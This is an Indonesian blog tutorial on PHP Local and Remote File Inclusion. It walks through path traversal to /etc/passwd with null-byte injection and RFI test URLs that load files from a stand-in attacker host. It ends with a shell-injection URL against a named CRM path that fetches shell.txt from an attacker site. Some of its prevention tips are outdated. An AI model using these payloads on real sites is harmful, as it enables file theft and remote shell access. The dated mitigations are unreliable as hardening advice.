Monday, March 20, 2017

LFI dan RFI

LFI dan RFI


Sebelumnya apa sih LFI dan RFI itu??

LFI (Local File Inclusion) adalah sebuah lubang pada site dimana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.

RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server.



fungsi-fungsi yang dapat menyebabkan LFI/RFI:

include();

include_once();

require();

require_once();



Dengan syarat pada kofigurasi server:

allow_url_include = on

allow_url_fopen = on

magic_quotes_gpc = off



masuk ke example

kita misal kan kita punya file index.php dengan content seperti ini


Code:
include($page);

?>


misal $page=main.php

mungkin di url akan terlihat seperti ini bentuknya

http://www.target.com/index.php?page=main.php

maka script ini akan menampilkan halaman main.php.



nah disini attacker akan dapat melakukan LFI karena variable page di include begitu saja.

misal attacker ingin mengakses file passwd yang ada pada sever maka dia mungkin akan memasukan seperti ini ../../../../../../../../../etc/passwd << class="quoteheader">Quote
Warning: main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /their/web/root/index.php on line 2
liat pada passwd ternyata dia di tambah dengan extensi .php berarti code yang digunakan untuk include adalah seperti ini



Code:
include($page.".php");

?>


nah untuk dapat mengelabui script tersebut kita bisa menggunakan (dengan syarat magic_quotes_gpc = off) jadi dibelakang /etc/passwd kita tambahkan seperti



http://www.target.com/index.php?page=../../../../../../../../../etc/passwd



lalu untuk apa ? yaitu untuk menghilangkan karakter setelah ini di sebut teknik null injection.

itu LFI.



misal kita sudah menemukan bug LFI pada site.. kita coba RFI dengan mamasukan pada variable page berupa file dari luar site tersebut. misal

http://www.target.com/index.php?page=http://www.attackersite.com/test.txt

dengan file test.txt misal berisi "hacked by nickname"

jika ternyata di browser menampilkan kalimat tersebut berarti site vuln untuk di RFI juga.



Untuk pencegahan kedua bug tersebut yaitu.

1. Memvalidasi variable.

2. Pada server dengan menconfigure

allow_url_include = off

allow_url_fopen = off

magic_quotes_gpc = on

3. Bisa juga denga menggunakan fungsi switch case contoh:

Code:
= $_GET[page];

switch(
$page)

{

case "file1.php":

include("file1.php");

break;

case "file2.php":

include("file2.php");

break;

default:

include("index.php");

}

?>


4. pada include mungkin bisa ditambakan "./"

jadi seperti ini

include("./".$page.".php");

dengan sperti ini saat kita mengakses file dari luar server maka hasilnya akan error karena saat pemrosesan setiap file yang masuk ke variable page akan ditambah ./ di depannya..



http://www.target.com/index.php?page=./http://www.attackersite.com/test.txt



dengan seperti ini server atau site akan mencarip file http://www.attackersite.com/test.txt dan pastinya tidak di temukan.. maka akan menyebabkan server menampilkan error bahwa tidak ditemukan file seperti itu.



Tambahan :

Remote File Inclusion (RFI), pemanfaatan bugs dalam website untuk mengekspoitasi sebuah target dengan media PHP Shell dengan cara memasukan file yang berisi script PHP dari luar ke dalam target dengan memanfaatkan kesalahan statemen pengkodean PHP pada file di dalam target yang tidak terfilter dengan baik, misalnya bug ini :



Code:
require_once($bcrm_pub_root . "/public_prepend.inc.php")
PHP Shell Injection-nya :


Code:
http://www.target.com/browser_crm/pub/clients.php?bcrm_pub_root=http://siteattacker.com/shell.txt?


Available link for download